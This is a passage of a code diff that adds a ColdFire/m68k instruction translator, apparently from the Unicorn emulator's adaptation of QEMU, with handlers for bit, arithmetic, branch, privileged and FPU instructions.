*)tcg_ctx->QREG_CC_DEST, CCF_Z); + tcg_gen_xor_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, *(TCGv *)tcg_ctx->QREG_CC_DEST, tmp); + + tcg_gen_shl_i32(tcg_ctx, tmp, tcg_const_i32(tcg_ctx, 1), src2); + switch (op) { + case 1: /* bchg */ + tcg_gen_xor_i32(tcg_ctx, dest, src1, tmp); + break; + case 2: /* bclr */ + tcg_gen_not_i32(tcg_ctx, tmp, tmp); + tcg_gen_and_i32(tcg_ctx, dest, src1, tmp); + break; + case 3: /* bset */ + tcg_gen_or_i32(tcg_ctx, dest, src1, tmp); + break; + default: /* btst */ + break; + } + if (op) + DEST_EA(env, insn, opsize, dest, &addr); +} + +DISAS_INSN(sats) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + reg = DREG(insn, 0); + gen_flush_flags(s); + gen_helper_sats(tcg_ctx, reg, reg, *(TCGv *)tcg_ctx->QREG_CC_DEST); + gen_logic_cc(s, reg); +} + +static void gen_push(DisasContext *s, TCGv val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_subi_i32(tcg_ctx, tmp, QREG_SP, 4); + gen_store(s, OS_LONG, tmp, val); + tcg_gen_mov_i32(tcg_ctx, QREG_SP, tmp); +} + +DISAS_INSN(movem) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv addr; + int i; + uint16_t mask; + TCGv reg; + TCGv tmp; + int is_load; + + mask = cpu_lduw_code(env, s->pc); + s->pc += 2; + tmp = gen_lea(env, s, insn, OS_LONG); + if (IS_NULL_QREG(tmp)) { + gen_addr_fault(s); + return; + } + addr = tcg_temp_new(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, addr, tmp); + is_load = ((insn & 0x0400) != 0); + for (i = 0; i < 16; i++, mask >>= 1) { + if (mask & 1) { + if (i < 8) + reg = DREG(i, 0); + else + reg = AREG(i, 0); + if (is_load) { + tmp = gen_load(s, OS_LONG, addr, 0); + tcg_gen_mov_i32(tcg_ctx, reg, tmp); + } else { + gen_store(s, OS_LONG, addr, reg); + } + if (mask != 1) + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } + } +} + +DISAS_INSN(bitop_im) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int opsize; + int op; + TCGv src1; + uint32_t mask; + int bitnum; + TCGv tmp; + TCGv addr; + + if ((insn & 0x38) != 0) + opsize = OS_BYTE; + else + opsize = OS_LONG; + op = (insn >> 6) & 3; + + bitnum = cpu_lduw_code(env, s->pc); + s->pc += 2; + if (bitnum & 0xff00) { + disas_undef(env, s, insn); + return; + } + + SRC_EA(env, src1, opsize, 0, op ? &addr: NULL); + + gen_flush_flags(s); + if (opsize == OS_BYTE) + bitnum &= 7; + else + bitnum &= 31; + mask = 1U << bitnum; + + tmp = tcg_temp_new(tcg_ctx); + assert (CCF_Z == (1 << 2)); + if (bitnum > 2) + tcg_gen_shri_i32(tcg_ctx, tmp, src1, bitnum - 2); + else if (bitnum < 2) + tcg_gen_shli_i32(tcg_ctx, tmp, src1, 2 - bitnum); + else + tcg_gen_mov_i32(tcg_ctx, tmp, src1); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, CCF_Z); + /* Clear CCF_Z if bit set. */ + tcg_gen_ori_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, *(TCGv *)tcg_ctx->QREG_CC_DEST, CCF_Z); + tcg_gen_xor_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, *(TCGv *)tcg_ctx->QREG_CC_DEST, tmp); + if (op) { + switch (op) { + case 1: /* bchg */ + tcg_gen_xori_i32(tcg_ctx, tmp, src1, mask); + break; + case 2: /* bclr */ + tcg_gen_andi_i32(tcg_ctx, tmp, src1, ~mask); + break; + case 3: /* bset */ + tcg_gen_ori_i32(tcg_ctx, tmp, src1, mask); + break; + default: /* btst */ + break; + } + DEST_EA(env, insn, opsize, tmp, &addr); + } +} + +DISAS_INSN(arith_im) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int op; + uint32_t im; + TCGv src1; + TCGv dest; + TCGv addr; + + op = (insn >> 9) & 7; + SRC_EA(env, src1, OS_LONG, 0, (op == 6) ? NULL : &addr); + im = read_im32(env, s); + dest = tcg_temp_new(tcg_ctx); + switch (op) { + case 0: /* ori */ + tcg_gen_ori_i32(tcg_ctx, dest, src1, im); + gen_logic_cc(s, dest); + break; + case 1: /* andi */ + tcg_gen_andi_i32(tcg_ctx, dest, src1, im); + gen_logic_cc(s, dest); + break; + case 2: /* subi */ + tcg_gen_mov_i32(tcg_ctx, dest, src1); + gen_helper_xflag_lt(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, dest, tcg_const_i32(tcg_ctx, im)); + tcg_gen_subi_i32(tcg_ctx, dest, dest, im); + gen_update_cc_add(s, dest, tcg_const_i32(tcg_ctx, im)); + s->cc_op = CC_OP_SUB; + break; + case 3: /* addi */ + tcg_gen_mov_i32(tcg_ctx, dest, src1); + tcg_gen_addi_i32(tcg_ctx, dest, dest, im); + gen_update_cc_add(s, dest, tcg_const_i32(tcg_ctx, im)); + gen_helper_xflag_lt(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, dest, tcg_const_i32(tcg_ctx, im)); + s->cc_op = CC_OP_ADD; + break; + case 5: /* eori */ + tcg_gen_xori_i32(tcg_ctx, dest, src1, im); + gen_logic_cc(s, dest); + break; + case 6: /* cmpi */ + tcg_gen_mov_i32(tcg_ctx, dest, src1); + tcg_gen_subi_i32(tcg_ctx, dest, dest, im); + gen_update_cc_add(s, dest, tcg_const_i32(tcg_ctx, im)); + s->cc_op = CC_OP_SUB; + break; + default: + abort(); + } + if (op != 6) { + DEST_EA(env, insn, OS_LONG, dest, &addr); + } +} + +DISAS_INSN(byterev) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + + reg = DREG(insn, 0); + tcg_gen_bswap32_i32(tcg_ctx, reg, reg); +} + +DISAS_INSN(move) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src; + TCGv dest; + int op; + int opsize; + + switch (insn >> 12) { + case 1: /* move.b */ + opsize = OS_BYTE; + break; + case 2: /* move.l */ + opsize = OS_LONG; + break; + case 3: /* move.w */ + opsize = OS_WORD; + break; + default: + abort(); + } + SRC_EA(env, src, opsize, 1, NULL); + op = (insn >> 6) & 7; + if (op == 1) { + /* movea */ + /* The value will already have been sign extended. */ + dest = AREG(insn, 9); + tcg_gen_mov_i32(tcg_ctx, dest, src); + } else { + /* normal move */ + uint16_t dest_ea; + dest_ea = ((insn >> 9) & 7) | (op << 3); + DEST_EA(env, dest_ea, opsize, src, NULL); + /* This will be correct because loads sign extend. */ + gen_logic_cc(s, src); + } +} + +DISAS_INSN(negx) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + + gen_flush_flags(s); + reg = DREG(insn, 0); + gen_helper_subx_cc(tcg_ctx, reg, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, 0), reg); +} + +DISAS_INSN(lea) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv tmp; + + reg = AREG(insn, 9); + tmp = gen_lea(env, s, insn, OS_LONG); + if (IS_NULL_QREG(tmp)) { + gen_addr_fault(s); + return; + } + tcg_gen_mov_i32(tcg_ctx, reg, tmp); +} + +DISAS_INSN(clr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int opsize; + + switch ((insn >> 6) & 3) { + case 0: /* clr.b */ + opsize = OS_BYTE; + break; + case 1: /* clr.w */ + opsize = OS_WORD; + break; + case 2: /* clr.l */ + opsize = OS_LONG; + break; + default: + abort(); + } + DEST_EA(env, insn, opsize, tcg_const_i32(tcg_ctx, 0), NULL); + gen_logic_cc(s, tcg_const_i32(tcg_ctx, 0)); +} + +static TCGv gen_get_ccr(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv dest; + + gen_flush_flags(s); + dest = tcg_temp_new(tcg_ctx); + tcg_gen_shli_i32(tcg_ctx, dest, *(TCGv *)tcg_ctx->QREG_CC_X, 4); + tcg_gen_or_i32(tcg_ctx, dest, dest, *(TCGv *)tcg_ctx->QREG_CC_DEST); + return dest; +} + +DISAS_INSN(move_from_ccr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv ccr; + + ccr = gen_get_ccr(s); + reg = DREG(insn, 0); + gen_partset_reg(s, OS_WORD, reg, ccr); +} + +DISAS_INSN(neg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv src1; + + reg = DREG(insn, 0); + src1 = tcg_temp_new(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, src1, reg); + tcg_gen_neg_i32(tcg_ctx, reg, src1); + s->cc_op = CC_OP_SUB; + gen_update_cc_add(s, reg, src1); + gen_helper_xflag_lt(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, tcg_const_i32(tcg_ctx, 0), src1); + s->cc_op = CC_OP_SUB; +} + +static void gen_set_sr_im(DisasContext *s, uint16_t val, int ccr_only) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, val & 0xf); + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, (val & 0x10) >> 4); + if (!ccr_only) { + gen_helper_set_sr(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, val & 0xff00)); + } +} + +static void gen_set_sr(CPUM68KState *env, DisasContext *s, uint16_t insn, + int ccr_only) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + TCGv reg; + + s->cc_op = CC_OP_FLAGS; + if ((insn & 0x38) == 0) + { + tmp = tcg_temp_new(tcg_ctx); + reg = DREG(insn, 0); + tcg_gen_andi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, reg, 0xf); + tcg_gen_shri_i32(tcg_ctx, tmp, reg, 4); + tcg_gen_andi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, tmp, 1); + if (!ccr_only) { + gen_helper_set_sr(tcg_ctx, tcg_ctx->cpu_env, reg); + } + } + else if ((insn & 0x3f) == 0x3c) + { + uint16_t val; + val = cpu_lduw_code(env, s->pc); + s->pc += 2; + gen_set_sr_im(s, val, ccr_only); + } + else + disas_undef(env, s, insn); +} + +DISAS_INSN(move_to_ccr) +{ + gen_set_sr(env, s, insn, 1); +} + +DISAS_INSN(not) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + + reg = DREG(insn, 0); + tcg_gen_not_i32(tcg_ctx, reg, reg); + gen_logic_cc(s, reg); +} + +DISAS_INSN(swap) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src1; + TCGv src2; + TCGv reg; + + src1 = tcg_temp_new(tcg_ctx); + src2 = tcg_temp_new(tcg_ctx); + reg = DREG(insn, 0); + tcg_gen_shli_i32(tcg_ctx, src1, reg, 16); + tcg_gen_shri_i32(tcg_ctx, src2, reg, 16); + tcg_gen_or_i32(tcg_ctx, reg, src1, src2); + gen_logic_cc(s, reg); +} + +DISAS_INSN(pea) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + + tmp = gen_lea(env, s, insn, OS_LONG); + if (IS_NULL_QREG(tmp)) { + gen_addr_fault(s); + return; + } + gen_push(s, tmp); +} + +DISAS_INSN(ext) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int op; + TCGv reg; + TCGv tmp; + + reg = DREG(insn, 0); + op = (insn >> 6) & 7; + tmp = tcg_temp_new(tcg_ctx); + if (op == 3) + tcg_gen_ext16s_i32(tcg_ctx, tmp, reg); + else + tcg_gen_ext8s_i32(tcg_ctx, tmp, reg); + if (op == 2) + gen_partset_reg(s, OS_WORD, reg, tmp); + else + tcg_gen_mov_i32(tcg_ctx, reg, tmp); + gen_logic_cc(s, tmp); +} + +DISAS_INSN(tst) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int opsize; + TCGv tmp; + + switch ((insn >> 6) & 3) { + case 0: /* tst.b */ + opsize = OS_BYTE; + break; + case 1: /* tst.w */ + opsize = OS_WORD; + break; + case 2: /* tst.l */ + opsize = OS_LONG; + break; + default: + abort(); + } + SRC_EA(env, tmp, opsize, 1, NULL); + gen_logic_cc(s, tmp); +} + +DISAS_INSN(pulse) +{ + /* Implemented as a NOP. */ +} + +DISAS_INSN(illegal) +{ + gen_exception(s, s->pc - 2, EXCP_ILLEGAL); +} + +/* ??? This should be atomic. */ +DISAS_INSN(tas) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv dest; + TCGv src1; + TCGv addr; + + dest = tcg_temp_new(tcg_ctx); + SRC_EA(env, src1, OS_BYTE, 1, &addr); + gen_logic_cc(s, src1); + tcg_gen_ori_i32(tcg_ctx, dest, src1, 0x80); + DEST_EA(env, insn, OS_BYTE, dest, &addr); +} + +DISAS_INSN(mull) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint16_t ext; + TCGv reg; + TCGv src1; + TCGv dest; + + /* The upper 32 bits of the product are discarded, so + muls.l and mulu.l are functionally equivalent. */ + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + if (ext & 0x87ff) { + gen_exception(s, s->pc - 4, EXCP_UNSUPPORTED); + return; + } + reg = DREG(ext, 12); + SRC_EA(env, src1, OS_LONG, 0, NULL); + dest = tcg_temp_new(tcg_ctx); + tcg_gen_mul_i32(tcg_ctx, dest, src1, reg); + tcg_gen_mov_i32(tcg_ctx, reg, dest); + /* Unlike m68k, coldfire always clears the overflow bit. */ + gen_logic_cc(s, dest); +} + +DISAS_INSN(link) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int16_t offset; + TCGv reg; + TCGv tmp; + + offset = cpu_ldsw_code(env, s->pc); + s->pc += 2; + reg = AREG(insn, 0); + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_subi_i32(tcg_ctx, tmp, QREG_SP, 4); + gen_store(s, OS_LONG, tmp, reg); + if ((insn & 7) != 7) + tcg_gen_mov_i32(tcg_ctx, reg, tmp); + tcg_gen_addi_i32(tcg_ctx, QREG_SP, tmp, offset); +} + +DISAS_INSN(unlk) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src; + TCGv reg; + TCGv tmp; + + src = tcg_temp_new(tcg_ctx); + reg = AREG(insn, 0); + tcg_gen_mov_i32(tcg_ctx, src, reg); + tmp = gen_load(s, OS_LONG, src, 0); + tcg_gen_mov_i32(tcg_ctx, reg, tmp); + tcg_gen_addi_i32(tcg_ctx, QREG_SP, src, 4); +} + +DISAS_INSN(nop) +{ +} + +DISAS_INSN(rts) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + + tmp = gen_load(s, OS_LONG, QREG_SP, 0); + tcg_gen_addi_i32(tcg_ctx, QREG_SP, QREG_SP, 4); + gen_jmp(s, tmp); +} + +DISAS_INSN(jump) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp; + + /* Load the target address first to ensure correct exception + behavior. */ + tmp = gen_lea(env, s, insn, OS_LONG); + if (IS_NULL_QREG(tmp)) { + gen_addr_fault(s); + return; + } + if ((insn & 0x40) == 0) { + /* jsr */ + gen_push(s, tcg_const_i32(tcg_ctx, s->pc)); + } + gen_jmp(s, tmp); +} + +DISAS_INSN(addsubq) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src1; + TCGv src2; + TCGv dest; + int val; + TCGv addr; + + SRC_EA(env, src1, OS_LONG, 0, &addr); + val = (insn >> 9) & 7; + if (val == 0) + val = 8; + dest = tcg_temp_new(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, dest, src1); + if ((insn & 0x38) == 0x08) { + /* Don't update condition codes if the destination is an + address register. */ + if (insn & 0x0100) { + tcg_gen_subi_i32(tcg_ctx, dest, dest, val); + } else { + tcg_gen_addi_i32(tcg_ctx, dest, dest, val); + } + } else { + src2 = tcg_const_i32(tcg_ctx, val); + if (insn & 0x0100) { + gen_helper_xflag_lt(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, dest, src2); + tcg_gen_subi_i32(tcg_ctx, dest, dest, val); + s->cc_op = CC_OP_SUB; + } else { + tcg_gen_addi_i32(tcg_ctx, dest, dest, val); + gen_helper_xflag_lt(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, dest, src2); + s->cc_op = CC_OP_ADD; + } + gen_update_cc_add(s, dest, src2); + } + DEST_EA(env, insn, OS_LONG, dest, &addr); +} + +DISAS_INSN(tpf) +{ + switch (insn & 7) { + case 2: /* One extension word. */ + s->pc += 2; + break; + case 3: /* Two extension words. */ + s->pc += 4; + break; + case 4: /* No extension words. */ + break; + default: + disas_undef(env, s, insn); + } +} + +DISAS_INSN(branch) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int32_t offset; + uint32_t base; + int op; + int l1; + + base = s->pc; + op = (insn >> 8) & 0xf; + offset = (int8_t)insn; + if (offset == 0) { + offset = cpu_ldsw_code(env, s->pc); + s->pc += 2; + } else if (offset == -1) { + offset = read_im32(env, s); + } + if (op == 1) { + /* bsr */ + gen_push(s, tcg_const_i32(tcg_ctx, s->pc)); + } + gen_flush_cc_op(s); + if (op > 1) { + /* Bcc */ + l1 = gen_new_label(tcg_ctx); + gen_jmpcc(s, ((insn >> 8) & 0xf) ^ 1, l1); + gen_jmp_tb(s, 1, base + offset); + gen_set_label(tcg_ctx, l1); + gen_jmp_tb(s, 0, s->pc); + } else { + /* Unconditional branch. */ + gen_jmp_tb(s, 0, base + offset); + } +} + +DISAS_INSN(moveq) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t val; + + val = (int8_t)insn; + tcg_gen_movi_i32(tcg_ctx, DREG(insn, 9), val); + gen_logic_cc(s, tcg_const_i32(tcg_ctx, val)); +} + +DISAS_INSN(mvzs) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int opsize; + TCGv src; + TCGv reg; + + if (insn & 0x40) + opsize = OS_WORD; + else + opsize = OS_BYTE; + SRC_EA(env, src, opsize, (insn & 0x80) == 0, NULL); + reg = DREG(insn, 9); + tcg_gen_mov_i32(tcg_ctx, reg, src); + gen_logic_cc(s, src); +} + +DISAS_INSN(or) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv dest; + TCGv src; + TCGv addr; + + reg = DREG(insn, 9); + dest = tcg_temp_new(tcg_ctx); + if (insn & 0x100) { + SRC_EA(env, src, OS_LONG, 0, &addr); + tcg_gen_or_i32(tcg_ctx, dest, src, reg); + DEST_EA(env, insn, OS_LONG, dest, &addr); + } else { + SRC_EA(env, src, OS_LONG, 0, NULL); + tcg_gen_or_i32(tcg_ctx, dest, src, reg); + tcg_gen_mov_i32(tcg_ctx, reg, dest); + } + gen_logic_cc(s, dest); +} + +DISAS_INSN(suba) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src; + TCGv reg; + + SRC_EA(env, src, OS_LONG, 0, NULL); + reg = AREG(insn, 9); + tcg_gen_sub_i32(tcg_ctx, reg, reg, src); +} + +DISAS_INSN(subx) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv src; + + gen_flush_flags(s); + reg = DREG(insn, 9); + src = DREG(insn, 0); + gen_helper_subx_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, src); +} + +DISAS_INSN(mov3q) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src; + int val; + + val = (insn >> 9) & 7; + if (val == 0) + val = -1; + src = tcg_const_i32(tcg_ctx, val); + gen_logic_cc(s, src); + DEST_EA(env, insn, OS_LONG, src, NULL); +} + +DISAS_INSN(cmp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int op; + TCGv src; + TCGv reg; + TCGv dest; + int opsize; + + op = (insn >> 6) & 3; + switch (op) { + case 0: /* cmp.b */ + opsize = OS_BYTE; + s->cc_op = CC_OP_CMPB; + break; + case 1: /* cmp.w */ + opsize = OS_WORD; + s->cc_op = CC_OP_CMPW; + break; + case 2: /* cmp.l */ + opsize = OS_LONG; + s->cc_op = CC_OP_SUB; + break; + default: + abort(); + } + SRC_EA(env, src, opsize, 1, NULL); + reg = DREG(insn, 9); + dest = tcg_temp_new(tcg_ctx); + tcg_gen_sub_i32(tcg_ctx, dest, reg, src); + gen_update_cc_add(s, dest, src); +} + +DISAS_INSN(cmpa) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int opsize; + TCGv src; + TCGv reg; + TCGv dest; + + if (insn & 0x100) { + opsize = OS_LONG; + } else { + opsize = OS_WORD; + } + SRC_EA(env, src, opsize, 1, NULL); + reg = AREG(insn, 9); + dest = tcg_temp_new(tcg_ctx); + tcg_gen_sub_i32(tcg_ctx, dest, reg, src); + gen_update_cc_add(s, dest, src); + s->cc_op = CC_OP_SUB; +} + +DISAS_INSN(eor) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src; + TCGv reg; + TCGv dest; + TCGv addr; + + SRC_EA(env, src, OS_LONG, 0, &addr); + reg = DREG(insn, 9); + dest = tcg_temp_new(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, dest, src, reg); + gen_logic_cc(s, dest); + DEST_EA(env, insn, OS_LONG, dest, &addr); +} + +DISAS_INSN(and) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src; + TCGv reg; + TCGv dest; + TCGv addr; + + reg = DREG(insn, 9); + dest = tcg_temp_new(tcg_ctx); + if (insn & 0x100) { + SRC_EA(env, src, OS_LONG, 0, &addr); + tcg_gen_and_i32(tcg_ctx, dest, src, reg); + DEST_EA(env, insn, OS_LONG, dest, &addr); + } else { + SRC_EA(env, src, OS_LONG, 0, NULL); + tcg_gen_and_i32(tcg_ctx, dest, src, reg); + tcg_gen_mov_i32(tcg_ctx, reg, dest); + } + gen_logic_cc(s, dest); +} + +DISAS_INSN(adda) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv src; + TCGv reg; + + SRC_EA(env, src, OS_LONG, 0, NULL); + reg = AREG(insn, 9); + tcg_gen_add_i32(tcg_ctx, reg, reg, src); +} + +DISAS_INSN(addx) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv src; + + gen_flush_flags(s); + reg = DREG(insn, 9); + src = DREG(insn, 0); + gen_helper_addx_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, src); + s->cc_op = CC_OP_FLAGS; +} + +/* TODO: This could be implemented without helper functions. */ +DISAS_INSN(shift_im) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + int tmp; + TCGv shift; + + reg = DREG(insn, 0); + tmp = (insn >> 9) & 7; + if (tmp == 0) + tmp = 8; + shift = tcg_const_i32(tcg_ctx, tmp); + /* No need to flush flags becuse we know we will set C flag. */ + if (insn & 0x100) { + gen_helper_shl_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, shift); + } else { + if (insn & 8) { + gen_helper_shr_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, shift); + } else { + gen_helper_sar_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, shift); + } + } + s->cc_op = CC_OP_SHIFT; +} + +DISAS_INSN(shift_reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv shift; + + reg = DREG(insn, 0); + shift = DREG(insn, 9); + /* Shift by zero leaves C flag unmodified. */ + gen_flush_flags(s); + if (insn & 0x100) { + gen_helper_shl_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, shift); + } else { + if (insn & 8) { + gen_helper_shr_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, shift); + } else { + gen_helper_sar_cc(tcg_ctx, reg, tcg_ctx->cpu_env, reg, shift); + } + } + s->cc_op = CC_OP_SHIFT; +} + +DISAS_INSN(ff1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + reg = DREG(insn, 0); + gen_logic_cc(s, reg); + gen_helper_ff1(tcg_ctx, reg, reg); +} + +static TCGv gen_get_sr(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv ccr; + TCGv sr; + + ccr = gen_get_ccr(s); + sr = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, sr, *(TCGv *)tcg_ctx->QREG_SR, 0xffe0); + tcg_gen_or_i32(tcg_ctx, sr, sr, ccr); + return sr; +} + +DISAS_INSN(strldsr) +{ + uint16_t ext; + uint32_t addr; + + addr = s->pc - 2; + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + if (ext != 0x46FC) { + gen_exception(s, addr, EXCP_UNSUPPORTED); + return; + } + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + if (IS_USER(s) || (ext & SR_S) == 0) { + gen_exception(s, addr, EXCP_PRIVILEGE); + return; + } + gen_push(s, gen_get_sr(s)); + gen_set_sr_im(s, ext, 0); +} + +DISAS_INSN(move_from_sr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv sr; + + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + sr = gen_get_sr(s); + reg = DREG(insn, 0); + gen_partset_reg(s, OS_WORD, reg, sr); +} + +DISAS_INSN(move_to_sr) +{ + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + gen_set_sr(env, s, insn, 0); + gen_lookup_tb(s); +} + +DISAS_INSN(move_from_usp) +{ + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + /* TODO: Implement USP. */ + gen_exception(s, s->pc - 2, EXCP_ILLEGAL); +} + +DISAS_INSN(move_to_usp) +{ + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + /* TODO: Implement USP. */ + gen_exception(s, s->pc - 2, EXCP_ILLEGAL); +} + +DISAS_INSN(halt) +{ + gen_exception(s, s->pc, EXCP_HALT_INSN); +} + +DISAS_INSN(stop) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint16_t ext; + + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + + gen_set_sr_im(s, ext, 0); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_halted, 1); + gen_exception(s, s->pc, EXCP_HLT); +} + +DISAS_INSN(rte) +{ + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + gen_exception(s, s->pc - 2, EXCP_RTE); +} + +DISAS_INSN(movec) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint16_t ext; + TCGv reg; + + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + + if (ext & 0x8000) { + reg = AREG(ext, 12); + } else { + reg = DREG(ext, 12); + } + gen_helper_movec(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, ext & 0xfff), reg); + gen_lookup_tb(s); +} + +DISAS_INSN(intouch) +{ + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + /* ICache fetch. Implement as no-op. */ +} + +DISAS_INSN(cpushl) +{ + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + /* Cache push/invalidate. Implement as no-op. */ +} + +DISAS_INSN(wddata) +{ + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); +} + +DISAS_INSN(wdebug) +{ + if (IS_USER(s)) { + gen_exception(s, s->pc - 2, EXCP_PRIVILEGE); + return; + } + /* TODO: Implement wdebug. */ + qemu_log("WDEBUG not implemented\n"); + gen_exception(s, s->pc - 2, EXCP_UNSUPPORTED); +} + +DISAS_INSN(trap) +{ + gen_exception(s, s->pc - 2, EXCP_TRAP0 + (insn & 0xf)); +} + +/* ??? FP exceptions are not implemented. Most exceptions are deferred until + immediately before the next FP instruction is executed. */ +DISAS_INSN(fpu) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint16_t ext; + int32_t offset; + int opmode; + TCGv_i64 src; + TCGv_i64 dest; + TCGv_i64 res; + TCGv tmp32; + int round; + int set_dest; + int opsize; + + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + opmode = ext & 0x7f; + switch ((ext >> 13) & 7) { + case 0: case 2: + break; + case 1: + goto undef; + case 3: /* fmove out */ + src = FREG(ext, 7); + tmp32 = tcg_temp_new_i32(tcg_ctx); + /* fmove */ + /* ??? TODO: Proper behavior on overflow. */ + switch ((ext >> 10) & 7) { + case 0: + opsize = OS_LONG; + gen_helper_f64_to_i32(tcg_ctx, tmp32, tcg_ctx->cpu_env, src); + break; + case 1: + opsize = OS_SINGLE; + gen_helper_f64_to_f32(tcg_ctx, tmp32, tcg_ctx->cpu_env, src); + break; + case 4: + opsize = OS_WORD; + gen_helper_f64_to_i32(tcg_ctx, tmp32, tcg_ctx->cpu_env, src); + break; + case 5: /* OS_DOUBLE */ + 